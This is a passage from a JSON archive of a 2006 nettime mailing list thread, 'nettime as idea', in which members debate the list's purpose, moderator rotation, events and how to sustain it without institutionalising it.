                "content": "\n  * is it possible that 'ideas' that are now institutionalized\n    are part of the problem, in that they do not lend them-\n    selves to building up shared views, and instead dividing\n    ideas into categories, which narrows down potentials for\n    building greater knowledge/understanding thru discourse?\n\n    (i.e. maybe the thinking/conceptualization is rather weak for\n    and detached from the actual situations, and that *silence*\n    may be a testament to irrelevancy/inadequacy of academic\n    systems of thought to engage situations as they now exist.\n    and thus this could be an indictment of, say, theory itself?)\n\n  * years ago i proposed Nettime as if a medium, by which to\n    take on the New York Times, and would add that with all\n    the tech/computer skills, the Listserv model itself should be\n    hacked and modified and expanded to experiment with the\n    _list as a functioning idea, by which to allow discourses to\n    occur beyond the original designs, such as loops in which\n    offlist discussions may still live, (go on), in the archives as\n    live events, even if not on list, such as tying a BBS or RSS\n    comments feed in with the List, whatever dimensions could\n    be woven (that deal with technology assisting the content,\n    and not simply becoming the content itself, meaningless.\n\n    this is what i do not understand about the whole situation:\n    there is probably more diverse talent on this list in terms of\n    culture, knowledge, geography, social awareness, technology\n    and yet there seems to be difficulty in sharing a focus or what\n    is actually of greater value, to the larger organism of nettime.\n    -- why, with all this potential is the list itself as a mechanism\n    not a shared focus by which to transform this situation and\n    not be reliant on the default configurations -- or, for instance,\n    why is it that the issues of philosophy cannot become a focus\n    by which to figure out a way to gain a shared ground by which\n    to build up relations between the various systems of thought,\n    by more than linking to websites or projects, and instead get\n    into these dynamics, on list and in the list as a machinery, in\n    which these issues could in/form the shape of nettime itself?\n    it would seem it has to do with what is seen as important and\n    how it is approached: in terms of ideas, nettime itself is itself\n    an idea that seems to be passed over, and is said to limit other\n    ideas, yet maybe it is more complex and more simple than this.\n\n    maybe it is that the 'project' has yet to be nettime itself, as a\n    larger idea, by which to focus shared action on building up a\n    better medium for the things people want to do, via listservs,\n    via e-mail (including attaching small graphic/diagrams so as\n    to communicate ideas, literally, inaccessible without images,\n    which could and would require moderation, image server, etc).\n\n    * maybe what is most troubling is that nettime is standing still,\n    and has not evolved as a medium all that much, when there is\n    all the potential for taking it on as a shared project, technical,\n    cultural, social, etc. and making it into something that has yet\n    to exist, and that is DiY from the networks and the ground-up.\n    maybe nettime risks not surviving because it does not know\n    what it is adapting to, or this is not even a question, and that\n    the assumption that its content (discourse) is somehow going\n    to save it may be mistaken-- that its content may be part of\n    the reason it is dying: the cause of its deterioration, looking\n    into the mirror of the vital lack of insight bred in Universities\n    today with regard to how things are actually working, even.\n    that is, the mental modeling may be insufficient, and yet the\n    nettime-model does not necessarily have to rely on failures\n    of ideology, for its own development. it could challenge the\n    institutionalization of methods and forms of inquiry, linearism,\n    all the stuff that is critiqued, and actually experiment and go\n    into questioning mode of the assumptions that are propping\n    up this wasteland of imagination, and bring it all back down\n    to earth, by making the list real, making it relevant, based in\n    common sense and peer review and checks and balances of\n    ideas, as a public forum, which redefines the very questions\n    that all the expertise supposedly existing, fails to account for.\n    that is, relevance, realism, idealism, action, shared agendas.\n    maybe it is psychological, even, a predisposition, based upon\n    academic assumptions, sacred cows, in need of slaughtering.\n\n\nbc\n\n  architecture, education, electromagnetism\n  http://www.mnartists.org/brian_carroll\n  http://www.electronetwork.org/bc/\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00041.html",
                "list": "nettime_l",
                "author_name": "brian carroll",
                "subject": "<nettime> nettime as idea",
                "from": "brian carroll <human {AT} electronetwork.org>",
                "follow-up": [
                    {
                        "from": "\"Nicholas Ruiz\" <nr03 {AT} fsu.edu>",
                        "content": "Awesome--a nice start would be to de-moderate the list; that is, remove the\nintelligentsia filters, moderation and so on, no?  \n\nNRIII\n\n \n\nNicholas Ruiz III\nABD/GTA\nInterdisciplinary Program in the Humanities\n--Florida State University--\nEditor, Kritikos\nhttp://garnet.acns.fsu.edu/~nr03/\n-----Original Message-----\nFrom: nettime-l-request {AT} bbs.thing.net\n[mailto:nettime-l-request {AT} bbs.thing.net] On Behalf Of brian carroll\nSent: Thursday, June 08, 2006 12:34 PM\nTo: nettime-l {AT} bbs.thing.net\nSubject: <nettime> nettime as idea\n\n\n  * is it possible that 'ideas' that are now institutionalized\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00048",
                        "date": "Thu, 8 Jun 2006 16:10:08 -0400",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "E1FoUNB&#45;0001uH&#45;J1 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00048.html",
                        "content-type": "text/plai",
                        "author_name": "Nicholas Ruiz",
                        "subject": "RE: <nettime> nettime as idea"
                    },
                    {
                        "from": "elix Stalder <felix {AT} openflows.org>",
                        "content": "\nHi everyone,\n\nsorry for my previous post, it went out without being finished. What  \nI wanted to say was that many of the themes that critical net.culture \ntalked about 10 years ago are now mainstream. They are now playing    \nthemselves out on a scale far beyond 'net.culture', indeed, they have \nbecome culture, without any pre-fix.                                  \n\nIf that amounts to winning or losing is besides the point. In some\nways, it reminds me a bit of the 1968 movements which also transformed\ndaily life (at least in the West), but as the world around them\nshifted, with consequences very different from what they intended.\nAgain, if they lost or won, is does not really matter. The world is a\ndifferent place now.\n\nFor most of the actors of the early net.culture, this meant either\nlate professionalizing or early retirement. Nettime as a project did\nnot so much professionalize as specialize. It exchanged scope for\nfocus which has moved it a bit closer to academic culture, which is\nalso characterized by that trade-off. But anyone who really knows\nacademia, and the texts it produces (which I personally appreciate),\nwill also recognize how far nettime still is from that. Its scope\nbroader, its style sharper.\n\nCaroline Nevejan <nevejan {AT} xs4all.nl>:\n> Critiqing others for having done 'stuff', aging and moving on in \n\n\n> life, I find rather uninteresting. I get interested when I hear what \n\n\n> you like to do yourself.\n\nI agree, on many levels, nettime works quite well, so there is not an\nurgent need to change something. But, this does not mean it cannot be\nimproved. Sure it can. But to do that, we need concrete ideas, what\nwould you, personally, individually, like to see in nettime, and how\ndo you put up the resources to do it? The easiest thing is to do it\nyourself. Silvan Zurbueck did that when he wanted an rss feed for\nnettime, he took the feed, pumped into a blog, and now there is an rss\nfeed. [1] Tobias van Veen did that when he wanted to hold a nettime\nmeeting in NA, and now we had it. Great. They had an idea, they\nfigured out a way of doing it (by doing it themselves and roping in\nothers to contribute). This is how things work, not by telling others\nwhat they should or should not do. The same goes for the various\nnettime lists in other languages. People came up with the idea of\ndoing something, and they are doing it. Most of the people on this\nlist are not aware of that, because these lists are in languages few\nof us speak.\n\n[1] http://nettime.freeflux.net, http://nettime-ann.freeflux.net/\n\nAndreas Broeckmann <abroeck {AT} transmediale.de>:\n> finally, if you are unhappy with the list, be aware that 'the list',\n> i.e. nettime, is what gets posted. of course, moderation plays a\n> role in this. but the greater role is played by the things that get\n> written and sent, or not. if certain discussions are not happening,\n> it is because people are not writing their opinions.\n\nAgain, I agree. Moderation is a non-issue, a red-herring. Even if     \nthe technical set-up of an email list (conceived at a time when       \nICT had much less social intelligence built in that it as at times    \ntoday) lends itself to believing the otherwise. And it's not that Ted \nand I are turning away the masses who want to do his kind of work.    \nIn fact, nobody ever volunteers. N0b0dy, that's with two zeros. We    \noccasionally ask people who are contributing interesting material to  \nthe list if they want to moderate, and the answer has always been     \n'Thank you for asking, but I really do not have the time.'            \n\nThere is one exception. Nettime-ann. Here, four people -- Mason       \nDixon, Tulpje Tulp, Tsila Hassine, and Hannah Davenport -- responded  \nto an open call what to do with the announcements, and are now        \nrunning this as their own project, connected to the main list by      \nname and lose but friendly cooperation. They are doing a great, if    \nunglamorous, job.                                                     \n\nOver the years, we experimented with various set-ups, most importantly\ndividing the list into two feeds, the standard moderated one and an\nnon-moderated one, called nettime-bold. The interested in the second\nchannel was small from the beginning, and waned entirely shortly\nafter. The levels of spam and self-promotion seem to be tiring for\neveryone but the self-promoters. After we had to start manually\nremoving posts from the nettime-bold archive, because people entirely\nunrelated to the list were accused -- with their names and telephone\nnumbers -- of being pedophiles and sent us harrowing stories how this\nruined their lives, because googling their names brought up these\nposts (google loves nettime and ranks its posts often very high up) we\ndecided that this was not the resource we wanted to provide. When we\nshut-down the list, nobody seemed to notice.\n\nSo, if anyone feels like moderating -- near daily work, over a long period\nof time -- and knows how to use an email program on a unix shell\n(perferably mutt), please step forward. If you like to do that kind of\nwork, it's actually rewarding, and, depending on your frame of reference, a\nmeaningful contribution to the progress of humanity.\n\n\nFelix\n\n\n\n\n\n\n----http://felix.openflows.org------------------------------ out now:\n*|Manuel Castells and the Theory of the Network Society. Polity, 2006 \n*|Open Cultures and the Nature of Networks. Ed. Futura/Revolver, 2005 \n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00054",
                        "date": "Fri, 9 Jun 2006 10:38:51 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1FofaZ&#45;0003HW&#45;0T {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00054.html",
                        "content-type": "text/plai",
                        "author_name": "Felix Stalder",
                        "subject": "RE: <nettime> nettime as idea"
                    },
                    {
                        "from": "berta buiani <robb {AT} yorku.ca>",
                        "content": "On 9-Jun-06, at 10:38 AM, Felix Stalder wrote:\n>\n> I agree, on many levels, nettime works quite well, so there is not an\n> urgent need to change something. But, this does not mean it cannot be\n> improved. Sure it can. But to do that, we need concrete ideas, what\n> would you, personally, individually, like to see in nettime, and how\n> do you put up the resources to do it? The easiest thing is to do it\n> yourself. Silvan Zurbueck did that when he wanted an rss feed for\n> nettime, he took the feed, pumped into a blog, and now there is an rss\n> feed. [1] Tobias van Veen did that when he wanted to hold a nettime\n> meeting in NA, and now we had it. Great. They had an idea, they\n> figured out a way of doing it (by doing it themselves and roping in\n> others to contribute). This is how things work, not by telling others\n> what they should or should not do. The same goes for the various\n> nettime lists in other languages. People came up with the idea of\n> doing something, and they are doing it. Most of the people on this\n> list are not aware of that, because these lists are in languages few\n> of us speak.\n\nyes, nettime works well, but it works better in these occasions (I  \nthink I've seen somebody say \"it turns to itself\"). isn't this a sign  \nthat maybe not only the list, but also the way we deal with it need  \nto be revamped? and that maybe it should not be about reflection of  \nwhat has already happened but about something that could happen?\n\nindividual initiatives are always welcome, but  if the initiative is  \nleft to a few individuals, what would the results be? NNA was not  \nvery well attended (we were a bunch of people mainly form montreal,  \ntoronto and a few courageous from NY),  the issues touched were  \nnothing but a very small portion of what could have been achieved  \nwith the help and the support of a larger and more diverse crowd. am  \nI too idealistic to hope for the best possible outcomes? maybe there  \nwere no questions people were asked to reply to? (and here it was  \nprobably up to everybody to put items on the table, not just to the  \norganizers who did more than enough, shame on me that didn't think  \nabout it before).\n\nroberta\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00056",
                        "date": "Fri, 9 Jun 2006 15:53:30 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1Fohh2&#45;0006wb&#45;Tc {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00056.html",
                        "content-type": "text/plai",
                        "author_name": "roberta buiani",
                        "subject": "Re: <nettime> nettime as idea"
                    },
                    {
                        "from": "Newmedia {AT} aol.c",
                        "content": "Roberta:\n\nWhen nettime was young, it largely revolved around events.  Not ideas.  \nEvents.  The list was often a discussion of events, publishing of \"papers\" that \nwere given at events, reports about events, quarrels that took place at events, \nplanning for events.  Events were at the center of nettime's life back then.\n\nThe Metaforum series was central (okay Zentral) to the early growth and \nexcitement of nettime.  Indeed, as the history books tell us, nettime was initially \nformed at an event -- Venice Biennale 1995.\n\nThese events were planned.  Carefully.  Then, of course, these events took on \ntheir own life as all good events must do.\n\nI was introduced to nettime in an email inviting me to come to Metaforum III \n(October 1996).  A plane ticket was offered (fund-raised from a local \nbusinessman who wanted some free advice from me) and a \"keynote\" speech slot was \npromised.  I didn't know Diana, Pit, Geert and Janos when I was contacted.  They \nfound me on the net (partly because I \"attacked\" John Perry Barlow, who had \nkeynoted Metaforum II) and apparently thought that I would say something that \nwould help their event.  Hopefully it did.\n\nWhen I got on the plane, there was Eric Davis (\"TechGnosis\") sitting next to \nme.  He was also invited.  We'd never met.  So was Manuel Delanda.  We also \nnever met.  Arthur Kroker was invited but couldn't attend.  Likewise for many \nothers.\n\nThe night before my \"speech,\" I went to dinner with the organizers to go over \nmy presentation.  We decided to change some things to directly \"confront\" \nsome other topics that would also be discussed and to make sure that everything \nwould be lively and challenging.\n\nEvents are hard work.  Especially if you want to throw together some \ninteresting people so that sparks will fly -- in a semi-controlled but tension-filled \nfashion.\n\nUnfortunately (or not according to your perspective), these events were \nviewed as in conflict with the aggressive efforts by the Soros group to build its \nown \"network\" -- recalling that early nettime was highly engaged in bringing \npeople from the \"East\" (i.e. former communist Eastern Europe) into contact with \npeople from the West -- which inevitably involved many of the same people as \nnettime.\n\nI've been told that it was communicated to some nettimers that they could \nexpect no funding from Soros etal -- remember that the Soros group was then among \nthe only job sources in the territory -- if there was another Metaforum \nevent.  For whatever reasons, there were no more.\n\nInstead, the Soros organization in Ljubljana (Slovenia) hosted the \"final\" \nnettime event -- Beauty and the East -- in May 1997.  Once again there were \nvarious invited speakers.  Peter Lamborn Wilson (aka Hakim Bey) and David \nBennehum, among others.  Travel expenses were paid and so forth.  Nightclubs were \nrented.  Drinks were provided.  There was plenty of excitement in the air (and \nsome smoke as I recall.)\n\nFor the record, Ted Byfield had \"given up\" on nettime around then.  I made a \ncontribution and helped to convince him to come to Ljublana.  The rest is, er, \nnot quite (public) history -- yet.\n\nI suspect the reason why there has been such an outflowing of commentary \nabout \"nettime\" (on nettime) in the past week (and the \"Ted connection\") is simply \nbecause there was recently another nettime event.  After all these years.\n\nIf you wish to build something -- call it nettime? -- then you will have to \norganize some events.\n\nThe better you organize them, the better you mix things up, the better you \nget people excited, the better you *plan* and *execute* -- then the better will \nyour results inevitably be.\n\nOh yeah, I came back from \"Beast\" very excited about where this was all \ngoing.  Because of the train strike -- which prevented travelling directly from \nSlovenia to Austria, forcing Ted, David and me to take a train to Germany first \n-- none of us attended the post-conference ZK meeting.  We did however get to \nstay in the Hotel Orient (as I recall, none of us knew it was already famous \ndue to Ken Anger's 1995 \"Love's Last Lament\") in Vienna.  I suspect that we \nmissed out on something important at that post-event planning session.  Perhaps \nthat's where the future of nettime was debated.\n\nThere were no more major public events.\n\nI was involved in organizing two things following that -- Technorealism \n(which was largely stillborn, when Daddy Warbucks showed up) and the Non-Linear \nCircle (a \"salon\" that I hosted in my loft once-a-month for two years, \n1998-2000.)\n\nAs I posted over the years in various ways, the NET is giant surveillance \ndevice.  Indeed, I believe that it was designed as such by the Pentagon.  When I \nstarted getting subscribers from Bulgaria on the NLC list (hosted right \nalongside nettime), I started to wonder exactly who was \"tracking\" our activities.  \n\nOf course, this isn't to say that \"watchers\" can't show up at events -- \nindeed, the NYPD \"Red Squad\" sent someone to actively participate in the NLC -- but \nso much of what happens at events is, well, \"private.\"\n\nI'm a big believer in events.  I hope that there are some more that I'm \nprivileged to participate in -- make it some good ones!\n\nBest,\n\nMark Stahlman\nNew York City\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00059",
                        "date": "Fri, 9 Jun 2006 11:41:57 EDT",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1FojX9&#45;0002cc&#45;49 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00059.html",
                        "content-type": "text/plai",
                        "author_name": "Newmedia",
                        "subject": "Re: <nettime> nettime as idea"
                    },
                    {
                        "from": "John Young <jya {AT} pipeline.com>",
                        "content": "NYC is awash in terrorism profits -- stock market, vulture capitalism,\nclassified academic studies, lucrative spying beyond anything\never experienced in the capital of world espionage and electronic\nsurveillance, the NYC Red Squad ballooned into a wannabe CIA, the\nmayor richer than Soros and snorting the coke of leading the free\nworld ambition -- so why not fuck with the celebrity intellectual\nfashionista party scene here. Thousands of bright youngs and olds\nare ready to pimp-whore their plagiarisms here as on the hustings,\nand there's no business like techno-blow business, no insult meant\ntoward the weariers pretty well burned out from exporting information\nconfucianism around the globe, well, to bilderburgers.\n\nWeird that NYC never seemed to get the point of the cyber-liberty\nrun up and run down, so out of it the movement was understood only\nas another carny to be imitated. Only the fringes of the city's main\naction -- stealing and robbing -- got in on the small beans and that\nby getting deeper in debt.\n\nA small event in NYC is impossible, rather there are so many none can\nbe noticed except as tiny ads stuck above toilet paper dispensers by\npr agents of the downtrodden, which remains the leading profession of\ncultural unaffiliateds forever drunk on autodidactism.\n\nTwo people lunching interviewing each other, imagining one is the\nsubject.\n\nTed Byfield creates events just by being there, I've seen flocks of\nhangers-on seeking his magic.\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00062",
                        "date": "Fri, 09 Jun 2006 14:32:56 -0700",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1Fp0KR&#45;0005BI&#45;TS {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00062.html",
                        "content-type": "text/plai",
                        "author_name": "John Young",
                        "subject": "Re: <nettime> nettime as idea"
                    },
                    {
                        "from": "Geert Lovink <geert {AT} xs4all.nl>",
                        "content": "Felix Stalder writes:\n\nOn 9 Jun 2006, at 10:38 AM, Felix Stalder wrote:\n\n> I agree, on many levels, nettime works quite well, so there is not an\n> urgent need to change something. But, this does not mean it cannot be\n> improved. Sure it can. But to do that, we need concrete ideas, what\n> would you, personally, individually, like to see in nettime, and how\n> do you put up the resources to do it? The easiest thing is to do it\n> yourself.\n\nYourself, right. OK, but why are Felix and Ted excluded from this? Why \nis it such a hilarious idea that cannot be debated that both, after \nseven or more years, now step down and hand over the paswords to an \ninterim group or some other group that will sort out who will do the \nmoderation next? Why is rotation of the moderation of nettime-l not a \nconstructive, concrete proposal?\n\nAnother concrete proposal I have is to close down \nnettime-l {AT} bbs.thing.net and take another address, in close \ncollaboration with The Thing. It would at least temporarily take away \nsome of spam problems.\n\nYours, Geert\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00063",
                        "date": "Sat, 10 Jun 2006 09:40:01 +0200",
                        "to": "\"nettime's international court of justice\" <nettime-l {AT} bbs.thing.net>",
                        "message-id": "E1Fp0R6&#45;0005DZ&#45;6Q {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00063.html",
                        "content-type": "text/plai",
                        "author_name": "Geert Lovink",
                        "subject": "Re: <nettime> nettime as idea"
                    },
                    {
                        "from": "\"A. G-C\" <guibertc {AT} criticalsecret.com>",
                        "content": "Sorry of my very special notorious Francophone Anglophone;-) but if\nwe can speak in French on Empyre from time to time, here it is not\npossible in spite of one aspect of the information on nettime-list in\nthe homepage nettime.org.\n\nI can't speak on the \"net(...)\" for the most of \"(...)time\" and\nspecially since more of a year (can be two years). But of the prime\nhistory of nettime-l by knowledge I can see how and what, even not\nfrom my practice from one hand; anyway my proper emails not being\nresent as well as I am not from academics even not as self academic,\nas more I do mot master Anglophone languages. At last : I'm afraid\nthat I would present all the characters that being considered here as\n\"babies\", so \"little\", so \"small\" by a way appearing that it would\nnot be possible to think or Anglophone even being myself a thing but\nnot a system. I have discovered a sort of integrated xenophobia or\ncorporatism (or political line masked by corporatism that you can call\nof a part tribute to academic) that I could not imagine, as old I am\nas I cannot see before in the side of activism.\n\nMore impossible to exist in a margin of the community that is exactly\nthe question of \"otherness\", of the welcome \"other\" as common human of\npolitical exchange in critical fields.\n\nMy own regard in matter of critical theory (and of the criticism of\nrepresentative theory nowadays) is all on the other. (but anyone can\nhave other choice, I can respect it if it does not disallow me to\nexist ? a radical or critical theory in Politics by these days could\nbe contained inside of a really simply ( short ) sentence : by this\nway I mean of RSS both senses of the feed.\n\nRegarding the hard rock answer from any one to Geert about the\nunpossible claiming of nettime foundation it stays that I want to\nnotice from my part that this foundation is exactly the abstract\npurpose to inform the future subscribers of the list in both and\nrelative to each other abstracts:\n\n \" <nettime> is not just a mailing list but an effort to formulate an\ninternational, networked discourse that neither promotes a dominant\neuphoria (to sell products) nor continues the cynical pessimism,\nspread by journalists and intellectuals in the 'old' media who\ngeneralize about 'new' media with no clear understanding of their\ncommunication aspects. we have produced, and will continue to produce\nbooks, readers, and web sites in various languages so an 'immanent'\nnet critique will circulate both on- and offline.\n\n<nettime> is slightly moderated.\n\nhistory:\n\n      the formation of the nettime group goes back to spring 1995.\nA first meeting called <nettime> was organized in june 1995, at the\nVenice Bienale, as a part of the Club Berlin event. The list itself\ntook off in the fall. A first compilation on paper appeared in January\n1996, at the second Next Five Minutes events (the so-called ZKP\nseries). The list organized its own conference in Ljubljana in May\n1997, called 'The Beauty and the East'. A 556 pages nettime anthology\ncame out in 1999: Readme! Ascii Culture and the Revenge of Knowledge.\nAutonomedia: New York (ISBN: 1570270899). \"\n\n===> what stays of it right now? while people were/(are still?)\nfollowing to subscribe believing this multi dialectical symbolic\ntypo-arborescence integrating life, technology, hypermedia, social\nutopia, history, and Arts, the opening of the world through the\nopening of the sources, through progressive nettime installation\nsince 1995 till 1999? just clicking \"info\" of \"nettime-l\" at\nhttp://www.nettime.org/ http://www.nettime.org/info.html\n\nOf which academism or theory are you discussing or power linked\nto reductionism view whatever being the fields you moderate? But\ncertainly not from the point of view of the changing time. It is a\nnew morning, that one of the security and current war as mean instead\nof politics and critical political economy. They are the mean of the\nglobal power itself to destroy all other reality. Taking the same\nweapons as virtual solution of the critical ideas and practices it\ncannot be the good solution under my view. But the changing time as\nreflecting subject of the common. What have changed since 1999? Web,\nsociety, political power, education, emigration and so on... As global\nas singular or local?\n\nBut please not denying of this history or you will never know of your\nown memory while you abusively pretend to hold it to the largest\ncommon tribute.\n\n>From this point of view, I think that Geert's provocation on closing\nthe list to have it reborning from this new time, it is really\ninteresting as logical activist attitude happening in real time of\nthe mails against misunderstanding and mortification. It is a defy to\nbe able in telling or analyzing of the changes: web transformations,\nglobal and local multi dialectical security, political, social and\ncultural environments, objectives, subjects, codes, means... Even\nconnection / disconnection.\n\nAnd more of the public archives regarding the new laws of copyright\nfacing the quote and facing spam that is quite a new situation (\nall different was the time of having to open web information to the\nlargest web ).\n\nMay be not of a real conclusion of the list but a real mean to keep it\nsafe from all its external and internal enclosures.\n\nThe question of the death of the list it is not of the decision to\nclose it ( even it would be or not be closed at last ) it is of the\nend as living solution to create again ( the same as musics front of\nthe repetitive rythmics which get it progressing, there is a moment\nwhere the composition has to finish with the rythm to have the form of\nthe end as event, then everything is ready to the next creation ).\n\nRe borning situation of creating among the others is not a death,\nthis is life. The end of meta culture at the moment the risk is that\nbecoming meta meta culture it would have lost all its critical social\nroots to an exclusive event of abstracted power ( that would be a no\nevent ;-) it is a not the death of the things, all the contrary. Can\nbe re borning from itself in the same place and under the same address\nor not, whatever the browser to support it.\n\n\n\nI\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00074",
                        "date": "Sun, 11 Jun 2006 17:57:13 +0200",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "E1FpTWH&#45;0004hi&#45;VS {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00074.html",
                        "content-type": "text/plai",
                        "author_name": "A. G-C",
                        "subject": "Re: <nettime> nettime as idea"
                    },
                    {
                        "from": "David Garcia <davidg {AT} xs4all.nl>",
                        "content": "\nOn Jun 11, 2006, at 5:57 PM, A. G-C wrote:\n> From this point of view, I think that Geert's provocation on closing\n> the list to have it reborning from this new time, it is really\n> interesting as logical activist attitude happening in real time of\n> the mails against misunderstanding and mortification...\n\n> Re borning situation of creating among the others is not a death,\n> this is life.\n\n\nIt was great to hear guibertc's Anglo/Francophone voice and be\nreminded of something that Mckensie Wark said on this list long ago\n(very rough quote from memory) that these days english does not belong\nto any one (I would add; least of all the english).\n\nThis post also has something of the euphoria for a culture of\ncontinuous migration accompanied by the perpetual possibility of\nclosure (\"not a death, this is life\") as a measure of integrity. Other\nless inspiring postings on this thread have talked airily \"about\nslaughtering of sacred cows\" etc\n\nThese avant garde (Fluxes like) rituals or 'tactics' in which\nephemerality is taken as an emblem of life and authenticity are\nassumptions that run deep in our culture. This is particularly true\nof visual art and as we know from Venice Biennale to Dokumentas the\nvisual arts were a important componant of nettime.\n\nBut maybe we also have learned (eventually) that the cult of\nephemerality is just not enough, that nothing slaughters 'holy cows'\nmore voraciously than the capitalism these movements seek to subvert.\nThe burning question has become how to move on from a \"kill your\ndarlings\" culture without relinquishing the articulations of freedom\nwe value (sometimes presented as part of the 'precarity' discussion).\nHow to achieve sustainability without institutionalisation (or\nprofessionalisation).\n\nThe fact that we are arguing (and fighting) 11 years after its birth\nshows that something in nettime (as it exists now) is worth struggling\nover. It suggests that nettime has found away to address the questions\nposed above, in fact and action as well as theory. The list has its\nups and downs but is clearly very much alive and (as Felix pointed\nout) it has not professionalised or institutionalised. It is my\nbelief that we owe this part of nettime's achievement is owed in\nlarge part to the current moderators. Not only to the years of quiet\nmethodical un-glamerous work but also the courage to put up a fight\nwhen necessary!\n\nThis is not the first time that closure has been argued for. In the\npast there are those who have argued strenuously to close the list\nand move on in which we would now be talking in the past tense. The\nmoderators put up a fight and kept the platform we are now arguing\non open. Whatever differences there may be the years invested in\nnurturing this space, with generosity and finesse, should (in my view)\nbe too easily disrespected.\n\nI am not arguing that moderators, and their position can not be\nquestioned. But what I am saying is tokenistic expressions of\ngratitude \"great job guys, time to move on..bye\". Are shallow and\ndisrespectful in the extreme. And more importantly fail to engage with\nan important aspect of the list's achievement.\n\nI would argue that any movement for radical change should be carried\nout in close collaboration with the moderators and should take a very\ndifferent approach and tone from some of the peremptory notifications\nwe have seen on this thread. And above all they should seek to\nwork imaginatively with the fact that nettime has found a powerful\nway of addressing our most pressing issue; sustainability without\ninstitutionalisation.\n\nRespect\n\nDavid Garcia\n\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00082",
                        "date": "Mon, 12 Jun 2006 10:39:17 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1FpkCv&#45;0005J2&#45;Ut {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0606/msg00082.html",
                        "content-type": "text/plai",
                        "author_name": "David Garcia",
                        "subject": "Re: <nettime> nettime as idea"
                    },
                    {
                        "from": "\"Michael Benson\" <Michael.Benson {AT} pristop.si>",
                        "content": "I haven't posted to nettime in what a Slovene friend would no doubt \ncall \"the age of a dog,\" but read it quite regularly and still \nconsider it a kind of ongoing online cornerstone, and have to say that \nmy vote (be it worthless for the above reasons, or not), is in kinship \nwith David Garcia's eloquent mail today. In my experience when \nsomething's really very definitively _not_ broken -- and not broken \nfor the good reason that some few people have made damn sure that it's \nin a good state of repair -- then \"fixing\" it runs the real risk of \nbreaking it. So why do that? In other words, a proposal can be concrete \nwithout being constructive, and (as Garcia says) can also seem \ndisrespectful and denying of achievement. Felix Stalder writes of \npersonal abuse as being part of the job, and part of the problem in \ngeneral with work, be it for free (and let's recognize how hard _that_ \nis in super-streamlined 21st century hypercapitalism) or for money, is \nthat there's always a given quantity of thoughtless abuse that has to \nbe endured, while praise is (or seems) comparatively rare. Nettime's \nexcellent ongoing health, it has to be said, is due to its contributors \nbut also its moderators.\n\nCheers from wind-swept Ljubljana, where the East has moved East (but \nBeauty lives on).\n\nMichael Benson  \n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n# 